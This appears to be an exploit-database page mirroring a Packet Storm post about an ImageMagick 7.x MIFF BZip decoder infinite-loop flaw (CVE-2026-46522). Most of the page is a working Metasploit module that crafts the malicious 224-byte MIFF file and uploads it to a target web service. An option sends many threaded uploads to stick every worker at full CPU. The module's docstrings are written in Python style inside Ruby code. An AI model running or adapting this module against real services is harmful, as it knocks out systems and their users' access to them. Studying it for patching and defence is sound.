Lucene search
K

📄 ImageMagick 7.x MIFF BZip Decoder Infinite Loop Denial of Service

🗓️ 03 Jul 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 15 Views

Vulnerability in ImageMagick MIFF decoder causes infinite loop and CPU exhaustion with zero-length BZip block.

Related
Code
==================================================================================================================================
    | # Title     : ImageMagick 7.x MIFF BZip Decoder Infinite Loop DoS                                                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://imagemagick.org                                                                                          |
    ==================================================================================================================================
    
    [+] Summary    :  A vulnerability in ImageMagick's MIFF decoder (coders/miff.c) allows an attacker to cause an infinite loop and CPU exhaustion by providing
                      a specially crafted MIFF file with a compressed block length of zero when BZip compression is enabled.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Scanner
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ImageMagick MIFF BZip Decoder Infinite Loop DoS',
            'Description' => %q{
              A vulnerability in ImageMagick's MIFF decoder (coders/miff.c) allows
              an attacker to cause an infinite loop and CPU exhaustion by providing
              a specially crafted MIFF file with a compressed block length of zero
              when BZip compression is enabled.
    
              The BZip2 decompression branch does not reject length=0 in the per-block
              compressed length prefix. BZ2_bzDecompress with avail_in=0 returns BZ_OK
              silently, and the ImageMagick loop only exits on BZ_STREAM_END or on codes
              that are neither BZ_OK nor BZ_STREAM_END. The result is an infinite loop
              that consumes 100% CPU until the process is killed.
    
              This vulnerability affects ImageMagick version 7.x (verified on 7.1.2-3).
              The minimal proof-of-concept file is only 224 bytes.
    
              This module generates a malicious MIFF file and can optionally upload it
              to a vulnerable web service that processes user-supplied images.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-46522'],
              ['URL', 'https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5'],
              ['URL', 'https://imagemagick.org/']
            ],
            'DisclosureDate' => '2026-05-13',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_OS_DOWN],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('OUTPUT_PATH', [false, 'Local path to save the malicious MIFF file', '/tmp/poc.miff']),
          OptString.new('UPLOAD_ENDPOINT', [false, 'Upload endpoint path (e.g., /upload)']),
          OptString.new('UPLOAD_FIELD', [false, 'Multipart form field name for file upload', 'file']),
          OptString.new('TARGET_URI', [false, 'Target URI for processing the image', '/']),
          OptInt.new('TIMEOUT', [false, 'Timeout in seconds for processing (default: 5)', 5]),
          OptBool.new('UPLOAD_ONLY', [false, 'Only generate the file without uploading', true]),
          OptBool.new('MULTIPLE_UPLOADS', [false, 'Send multiple uploads to exhaust multiple workers', false]),
          OptInt.new('UPLOAD_COUNT', [false, 'Number of uploads when MULTIPLE_UPLOADS is enabled', 10])
        ])
      end
    
      def craft_miff
        """
        Generate a malicious MIFF file that triggers the infinite loop.
        The file uses BZip compression with a compressed block length of zero.
        """
        header = <<~MIFF
          id=ImageMagick version=1.0
          class=DirectClass colors=0 alpha-trait=Undefined
          number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007
          columns=1 rows=1 depth=8
          colorspace=sRGB compression=BZip quality=75
        MIFF
        miff_data = header.encode + "\x0c\n".encode + "\x00\x00\x00\x00"
        
        miff_data
      end
    
      def generate_miff_file(path)
        print_status("Generating malicious MIFF file: #{path}")
        
        miff_data = craft_miff
        
        File.binwrite(path, miff_data)
        file_size = File.size(path)
        
        print_good("MIFF file created: #{file_size} bytes")
        print_good("File triggers infinite loop when processed with ImageMagick")
        
        miff_data
      end
      def test_image_magick(path)
        """
        Test if the system is vulnerable by processing the file locally.
        """
        print_status("Testing ImageMagick vulnerability locally...")
        identify_path = cmd_exec('which identify')
        if identify_path.empty?
          print_error("ImageMagick identify command not found")
          return false
        end
        cmd = "timeout #{datastore['TIMEOUT']} identify #{path} 2>&1"
        print_status("Executing: #{cmd}")
        
        start_time = Time.now
        result = cmd_exec(cmd)
        elapsed = Time.now - start_time
        if elapsed >= datastore['TIMEOUT'] - 0.5
          print_good("VULNERABLE: Process was killed after timeout (infinite loop detected)")
          print_good("CPU would be exhausted for #{datastore['TIMEOUT']} seconds")
          return true
        else
          print_error("Process completed in #{elapsed.round(2)} seconds (not vulnerable)")
          return false
        end
      end
      def send_upload_payload(miff_data, filename, endpoint)
        """
        Send the malicious MIFF file to a vulnerable web service.
        """
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
        
        post_data = "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"#{datastore['UPLOAD_FIELD']}\"; filename=\"#{filename}\"\r\n"
        post_data << "Content-Type: image/x-miff\r\n\r\n"
        post_data << miff_data
        post_data << "\r\n--#{boundary}--\r\n"
        
        headers = {
          'Content-Type' => "multipart/form-data; boundary=#{boundary}",
          'User-Agent' => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        url = normalize_uri(datastore['UPLOAD_ENDPOINT'])
        print_status("Uploading malicious MIFF to #{url} (request ##{@upload_count})")
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => url,
            'headers' => headers,
            'data' => post_data,
            'timeout' => datastore['TIMEOUT']
          )
          
          if res
            print_status("Upload response: HTTP #{res.code}")
            if res.code == 200 || res.code == 302
              print_good("File uploaded successfully")
              return true
            end
          else
            print_good("Request timed out - service likely stuck processing the malicious file")
            return true
          end
          
        rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
          print_good("Connection timeout - service may be stuck processing the malicious file")
          return true
        rescue => e
          print_error("Upload failed: #{e.message}")
          return false
        end
        
        false
      end
    
      def check_service_vulnerable
        """
        Check if the remote service appears to be using ImageMagick.
        """
        print_status("Checking if remote service might be vulnerable...")
        begin
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(datastore['TARGET_URI']),
            'timeout' => 10
          )
          
          if res && res.body
            indicators = [
              'ImageMagick', 'magick', 'convert', 'identify',
              'image/jpeg', 'image/png', 'image/gif', 'content-type.*image'
            ]
            
            indicators.each do |indicator|
              if res.body =~ /#{indicator}/i
                print_good("Found potential ImageMagick indicator: #{indicator}")
                return true
              end
            end
          end
          
          print_status("No clear ImageMagick indicators found")
          return false
          
        rescue => e
          print_error("Failed to check service: #{e.message}")
          return false
        end
      end
    
      def send_multiple_uploads(miff_data, filename)
        """
        Send multiple uploads to exhaust multiple worker processes.
        """
        print_status("Sending #{datastore['UPLOAD_COUNT']} uploads to exhaust workers...")
        
        @upload_count = 0
        successful = 0
        
        threads = []
        datastore['UPLOAD_COUNT'].times do |i|
          threads << framework.threads.spawn("Uploader-#{i}", false) do
            @upload_count += 1
            if send_upload_payload(miff_data, "#{i}_#{filename}", datastore['UPLOAD_ENDPOINT'])
              successful += 1
            end
            Rex.sleep(0.1) 
          end
        end
        threads.each(&:join)
        
        print_good("Successfully sent #{successful} of #{datastore['UPLOAD_COUNT']} uploads")
        successful
      end
    
      def exploit_remote
        """
        Exploit remote service by uploading the malicious MIFF file.
        """
        print_status("CVE-2026-46522 - ImageMagick MIFF Decoder DoS")
        print_status("Target: #{peer}")
        check_service_vulnerable
        miff_data = craft_miff
        filename = "poc_#{Rex::Text.rand_text_alpha_lower(8)}.miff"
        print_status("Malicious MIFF size: #{miff_data.length} bytes")
        if datastore['MULTIPLE_UPLOADS']
          successful_uploads = send_multiple_uploads(miff_data, filename)
          if successful_uploads > 0
            print_good("DoS attack initiated with #{successful_uploads} uploads")
            print_good("Target workers should be stuck at 100% CPU")
          else
            print_error("All uploads failed")
          end
        else
          if send_upload_payload(miff_data, filename, datastore['UPLOAD_ENDPOINT'])
            print_good("DoS attack initiated successfully")
            print_good("Target worker is stuck processing the malicious file")
          else
            print_error("Failed to upload malicious file")
          end
        end
      end
    
      def run_host(ip)
        print_status("CVE-2026-46522 - ImageMagick MIFF BZip Decoder Infinite Loop DoS")
        output_path = datastore['OUTPUT_PATH']
        miff_data = generate_miff_file(output_path)
        print_status("\n[*] Testing local ImageMagick vulnerability...")
        test_image_magick(output_path)
        if datastore['UPLOAD_ENDPOINT'] && !datastore['UPLOAD_ENDPOINT'].empty?
          print_status("\n[*] Attempting remote exploitation...")
          exploit_remote
        else
          print_status("\n[*] Remote exploitation not configured")
          print_status("To test remote service, set UPLOAD_ENDPOINT")
        end
        print_status("\n[+] Exploit complete")
        print_status("Malicious file saved to: #{output_path}")
        print_status("To test with ImageMagick: identify #{output_path}")
        print_status("Expected: Process will hang and consume 100% CPU")
      end
    end
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jul 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.17.5
EPSS0.01849
SSVC
15